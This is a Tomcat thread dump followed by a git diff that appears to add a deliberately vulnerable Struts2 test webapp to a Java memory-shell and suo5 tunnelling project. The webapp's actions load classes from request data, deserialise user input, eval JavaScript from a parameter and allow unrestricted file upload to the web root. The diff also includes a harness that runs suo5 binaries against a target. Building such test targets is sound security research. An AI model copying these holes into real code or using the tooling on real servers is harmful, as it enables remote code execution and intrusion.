java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-8080-exec-5" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-8080-exec-2" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"GC Daemon" #13 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@6e2b855c
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at sun.misc.GC$Daemon.run(GC.java:117)
|
||||
|
||||
"http-nio-8080-exec-9" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-8080-exec-4" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-8080-exec-7" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@5faa2b5c
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
|
||||
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
|
||||
|
||||
"http-nio-8080-Acceptor" #28 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
||||
at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:449)
|
||||
at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:63)
|
||||
at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:129)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"ContainerBackgroundProcessor[StandardEngine[Catalina]]" #16 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1300)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"main" #1 [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||
at org.apache.catalina.core.StandardServer.await(StandardServer.java:468)
|
||||
at org.apache.catalina.startup.Catalina.await(Catalina.java:730)
|
||||
at org.apache.catalina.startup.Catalina.start(Catalina.java:678)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
|
||||
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||
at java.lang.reflect.Method.invoke(Method.java:498)
|
||||
at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:345)
|
||||
at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:476)
|
||||
|
||||
"http-nio-8080-exec-3" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-8080-exec-1" #17 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@21d5aa7d
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188)
|
||||
|
||||
"http-nio-8080-Poller" #27 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:713)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
|
||||
===========================================
|
||||
|
||||
StackClassNames:
|
||||
Base64ClassLoaderAction
|
||||
com.fasterxml.jackson.ZsoNQ.ErrorHandler
|
||||
com.opensymphony.xwork2.DefaultActionInvocation
|
||||
com.opensymphony.xwork2.interceptor.AliasInterceptor
|
||||
com.opensymphony.xwork2.interceptor.ChainingInterceptor
|
||||
com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor
|
||||
com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor
|
||||
com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor
|
||||
com.opensymphony.xwork2.interceptor.MethodFilterInterceptor
|
||||
com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor
|
||||
com.opensymphony.xwork2.interceptor.ParametersInterceptor
|
||||
com.opensymphony.xwork2.interceptor.PrepareInterceptor
|
||||
com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor
|
||||
com.opensymphony.xwork2.interceptor.StaticParametersInterceptor
|
||||
com.opensymphony.xwork2.ognl.OgnlUtil
|
||||
com.opensymphony.xwork2.ognl.OgnlUtil$3
|
||||
com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor
|
||||
com.opensymphony.xwork2.validator.ValidationInterceptor
|
||||
ognl.ASTMethod
|
||||
ognl.ObjectMethodAccessor
|
||||
ognl.Ognl
|
||||
ognl.OgnlRuntime
|
||||
ognl.SimpleNode
|
||||
org.apache.catalina.authenticator.AuthenticatorBase
|
||||
org.apache.catalina.connector.CoyoteAdapter
|
||||
org.apache.catalina.connector.CoyoteWriter
|
||||
org.apache.catalina.core.ApplicationFilterChain
|
||||
org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor
|
||||
org.apache.catalina.core.StandardContextValve
|
||||
org.apache.catalina.core.StandardEngineValve
|
||||
org.apache.catalina.core.StandardHostValve
|
||||
org.apache.catalina.core.StandardServer
|
||||
org.apache.catalina.core.StandardWrapperValve
|
||||
org.apache.catalina.startup.Bootstrap
|
||||
org.apache.catalina.startup.Catalina
|
||||
org.apache.catalina.valves.AbstractAccessLogValve
|
||||
org.apache.catalina.valves.ErrorReportValve
|
||||
org.apache.coyote.AbstractProcessorLight
|
||||
org.apache.coyote.AbstractProtocol$AsyncTimeout
|
||||
org.apache.coyote.AbstractProtocol$ConnectionHandler
|
||||
org.apache.coyote.http11.Http11Processor
|
||||
org.apache.struts2.dispatcher.Dispatcher
|
||||
org.apache.struts2.dispatcher.ExecuteOperations
|
||||
org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter
|
||||
org.apache.struts2.factory.StrutsActionProxy
|
||||
org.apache.struts2.interceptor.CheckboxInterceptor
|
||||
org.apache.struts2.interceptor.DateTextFieldInterceptor
|
||||
org.apache.struts2.interceptor.FileUploadInterceptor
|
||||
org.apache.struts2.interceptor.I18nInterceptor
|
||||
org.apache.struts2.interceptor.MultiselectInterceptor
|
||||
org.apache.struts2.interceptor.ServletConfigInterceptor
|
||||
org.apache.struts2.interceptor.debugging.DebuggingInterceptor
|
||||
org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor
|
||||
org.apache.tomcat.util.net.Acceptor
|
||||
org.apache.tomcat.util.net.NioEndpoint
|
||||
org.apache.tomcat.util.net.NioEndpoint$Poller
|
||||
org.apache.tomcat.util.net.NioEndpoint$SocketProcessor
|
||||
org.apache.tomcat.util.net.SocketProcessorBase
|
||||
org.apache.tomcat.util.threads.TaskQueue
|
||||
org.apache.tomcat.util.threads.TaskThread$WrappingRunnable
|
||||
org.apache.tomcat.util.threads.ThreadPoolExecutor
|
||||
org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker
|
||||
+2
-1
@@ -36,6 +36,7 @@ include("vul:vul-webapp")
|
||||
include("vul:vul-webapp-jakarta")
|
||||
include("vul:vul-webapp-expression")
|
||||
include("vul:vul-webapp-deserialize")
|
||||
include("vul:vul-struct2")
|
||||
include("vul:vul-springboot1")
|
||||
include("vul:vul-springboot2")
|
||||
include("vul:vul-springboot2-jetty")
|
||||
@@ -47,4 +48,4 @@ include("vul:vul-playframework")
|
||||
include("memshell-agent:memshell-agent-attacher")
|
||||
include("memshell-agent:memshell-agent-asm")
|
||||
include("memshell-agent:memshell-agent-javassist")
|
||||
include("memshell-agent:memshell-agent-bytebuddy")
|
||||
include("memshell-agent:memshell-agent-bytebuddy")
|
||||
|
||||
@@ -1,7 +1,5 @@
|
||||
package com.reajason.javaweb.suo5;
|
||||
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStreamReader;
|
||||
import java.nio.file.Path;
|
||||
@@ -15,6 +13,7 @@ import java.util.concurrent.*;
|
||||
public class Suo5Manager {
|
||||
|
||||
public static final String suo5Command;
|
||||
public static final String suo5v2Command;
|
||||
|
||||
static {
|
||||
String os = System.getProperty("os.name").toLowerCase();
|
||||
@@ -29,17 +28,19 @@ public class Suo5Manager {
|
||||
pwd = pwd.getParent();
|
||||
}
|
||||
suo5Command = pwd.resolve(Paths.get("asserts", "suo5", "suo5-" + osType + "-" + osArch)).toAbsolutePath().toString();
|
||||
suo5v2Command = pwd.resolve(Paths.get("asserts", "suo5", "suo5v2-" + osType + "-" + osArch)).toAbsolutePath().toString();
|
||||
}
|
||||
|
||||
public static void main(String[] args) {
|
||||
System.out.println(suo5Command);
|
||||
boolean test = test("http://localhost:8082/app/test", "test");
|
||||
boolean test = test("", "http://localhost:8082/app/test", "test");
|
||||
System.out.println(test);
|
||||
}
|
||||
|
||||
public static boolean test(String targetUrl, String ua) {
|
||||
public static boolean test(String shellTool, String targetUrl, String ua) {
|
||||
String command = shellTool.endsWith("v2") ? suo5v2Command : suo5Command;
|
||||
ProcessBuilder processBuilder = new ProcessBuilder(
|
||||
suo5Command, "-debug", "-t", targetUrl, "--timeout", "5", "-ua", ua, "-H", "Referer: " + targetUrl
|
||||
command, "-debug", "-t", targetUrl, "--timeout", "8", "-ua", ua, "-H", "Referer: " + targetUrl
|
||||
);
|
||||
processBuilder.redirectErrorStream(true);
|
||||
ExecutorService executor = Executors.newSingleThreadExecutor();
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
plugins {
|
||||
id("war")
|
||||
}
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
}
|
||||
sourceCompatibility = JavaVersion.VERSION_1_6
|
||||
targetCompatibility = JavaVersion.VERSION_1_6
|
||||
}
|
||||
|
||||
|
||||
dependencies {
|
||||
implementation("org.apache.struts:struts2-core:2.5.30")
|
||||
implementation("commons-fileupload:commons-fileupload:1.3.3")
|
||||
implementation("commons-fileupload:commons-fileupload:1.3.3")
|
||||
implementation("commons-beanutils:commons-beanutils:1.9.2")
|
||||
providedCompile("javax.servlet:servlet-api:2.5")
|
||||
}
|
||||
|
||||
|
||||
|
||||
tasks.test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
import com.opensymphony.xwork2.ActionSupport;
|
||||
import org.apache.struts2.ServletActionContext;
|
||||
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/24
|
||||
*/
|
||||
public class Base64ClassLoaderAction extends ActionSupport {
|
||||
|
||||
private String data;
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
try {
|
||||
Class<?> decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception var4) {
|
||||
Class<?> decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke((Object) null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public Class<?> reflectionDefineClass(byte[] classBytes) throws Exception {
|
||||
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
defMethod.setAccessible(true);
|
||||
return (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
|
||||
}
|
||||
|
||||
public String execute() throws Exception {
|
||||
try {
|
||||
byte[] bytes = decodeBase64(data);
|
||||
Object obj = reflectionDefineClass(bytes).newInstance();
|
||||
ServletActionContext.getResponse().getWriter().print(obj);
|
||||
return null;
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
public String getData() {
|
||||
return data;
|
||||
}
|
||||
|
||||
public void setData(String data) {
|
||||
this.data = data;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
import com.opensymphony.xwork2.ActionSupport;
|
||||
import org.apache.struts2.ServletActionContext;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
|
||||
/**
|
||||
* @author Wans
|
||||
* @since 2025/08/25
|
||||
*/
|
||||
public class BigIntegerClassLoaderAction extends ActionSupport {
|
||||
static byte[] decodeBigInteger(String bigIntegerStr) throws Exception {
|
||||
Class<?> decoderClass = Class.forName("java.math.BigInteger");
|
||||
return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX));
|
||||
}
|
||||
|
||||
public String execute() throws Exception {
|
||||
try {
|
||||
HttpServletRequest request = ServletActionContext.getRequest();
|
||||
String data = request.getParameter("data");
|
||||
byte[] bytes = decodeBigInteger(data);
|
||||
reflectionDefineClass(bytes).newInstance();
|
||||
return ActionSupport.SUCCESS;
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
public Class<?> reflectionDefineClass(byte[] classBytes) throws Exception {
|
||||
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
defMethod.setAccessible(true);
|
||||
return (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
import com.opensymphony.xwork2.ActionSupport;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ObjectInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
public class JavaReadObjAction extends ActionSupport {
|
||||
|
||||
private String data;
|
||||
|
||||
byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String execute() throws Exception {
|
||||
try {
|
||||
ByteArrayInputStream inputStream = new ByteArrayInputStream(decodeBase64(data));
|
||||
ObjectInputStream bis = new ObjectInputStream(inputStream);
|
||||
bis.readObject();
|
||||
bis.close();
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
public String getData() {
|
||||
return data;
|
||||
}
|
||||
|
||||
public void setData(String data) {
|
||||
this.data = data;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
import com.opensymphony.xwork2.ActionSupport;
|
||||
import org.apache.struts2.ServletActionContext;
|
||||
|
||||
import javax.script.ScriptEngineManager;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/3
|
||||
*/
|
||||
public class ScriptEngineAction extends ActionSupport {
|
||||
|
||||
private String data;
|
||||
|
||||
@Override
|
||||
public String execute() throws Exception {
|
||||
try {
|
||||
Object eval = new ScriptEngineManager().getEngineByName("js").eval(data);
|
||||
ServletActionContext.getResponse().getWriter().println(eval.toString());
|
||||
return SUCCESS;
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
public String getData() {
|
||||
return data;
|
||||
}
|
||||
|
||||
public void setData(String data) {
|
||||
this.data = data;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
import com.opensymphony.xwork2.ActionSupport;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/7
|
||||
*/
|
||||
public class TestAction extends ActionSupport {
|
||||
|
||||
@Override
|
||||
public String execute() throws Exception {
|
||||
return SUCCESS;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
import com.opensymphony.xwork2.ActionSupport;
|
||||
import org.apache.commons.io.FileUtils;
|
||||
import org.apache.struts2.ServletActionContext;
|
||||
|
||||
import java.io.File;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public class UploadAction extends ActionSupport {
|
||||
|
||||
private File upload;
|
||||
private String uploadFileName;
|
||||
private String uploadContentType;
|
||||
|
||||
private static final String UPLOAD_DIRECTORY = "/";
|
||||
|
||||
@Override
|
||||
public String execute() throws Exception {
|
||||
try {
|
||||
if (upload != null) {
|
||||
String uploadFolder = ServletActionContext.getServletContext().getRealPath(UPLOAD_DIRECTORY);
|
||||
if (!uploadFolder.endsWith(File.separator)) {
|
||||
uploadFolder += File.separator;
|
||||
}
|
||||
String uploadPath = uploadFolder + uploadFileName;
|
||||
File destFile = new File(uploadPath);
|
||||
FileUtils.copyFile(upload, destFile);
|
||||
ServletActionContext.getResponse().getWriter().println("file upload success: " + uploadPath);
|
||||
}
|
||||
return SUCCESS;
|
||||
} catch (Exception e) {
|
||||
ServletActionContext.getResponse().getWriter().println("file upload failed: " + e.getMessage());
|
||||
return ERROR;
|
||||
}
|
||||
}
|
||||
|
||||
public File getUpload() {
|
||||
return upload;
|
||||
}
|
||||
|
||||
public void setUpload(File upload) {
|
||||
this.upload = upload;
|
||||
}
|
||||
|
||||
public String getUploadFileName() {
|
||||
return uploadFileName;
|
||||
}
|
||||
|
||||
public void setUploadFileName(String uploadFileName) {
|
||||
this.uploadFileName = uploadFileName;
|
||||
}
|
||||
|
||||
public String getUploadContentType() {
|
||||
return uploadContentType;
|
||||
}
|
||||
|
||||
public void setUploadContentType(String uploadContentType) {
|
||||
this.uploadContentType = uploadContentType;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE struts PUBLIC
|
||||
"-//Apache Software Foundation//DTD Struts Configuration 2.5//EN"
|
||||
"http://struts.apache.org/dtds/struts-2.5.dtd">
|
||||
|
||||
<struts>
|
||||
<constant name="struts.devMode" value="true"/>
|
||||
<constant name="struts.multipart.maxSize" value="52428800"/>
|
||||
|
||||
<package name="default" extends="struts-default">
|
||||
<action name="test" class="TestAction">
|
||||
<result name="success">/index.html</result>
|
||||
</action>
|
||||
<action name="upload" class="UploadAction">
|
||||
<interceptor-ref name="fileUpload">
|
||||
<param name="maximumSize">10485760</param>
|
||||
</interceptor-ref>
|
||||
<interceptor-ref name="defaultStack"/>
|
||||
<result name="success">/index.html</result>
|
||||
<result name="error">/index.html</result>
|
||||
</action>
|
||||
<action name="js" class="ScriptEngineAction">
|
||||
<result name="success">/index.html</result>
|
||||
</action>
|
||||
<action name="java_deserialize" class="JavaReadObjAction">
|
||||
<result name="success">/index.html</result>
|
||||
</action>
|
||||
<action name="b64" class="Base64ClassLoaderAction">
|
||||
<result name="success">/index.html</result>
|
||||
</action>
|
||||
<action name="biginteger" class="BigIntegerClassLoaderAction">
|
||||
<result name="success">/index.html</result>
|
||||
</action>
|
||||
</package>
|
||||
</struts>
|
||||
@@ -0,0 +1,21 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xmlns="http://java.sun.com/xml/ns/javaee"
|
||||
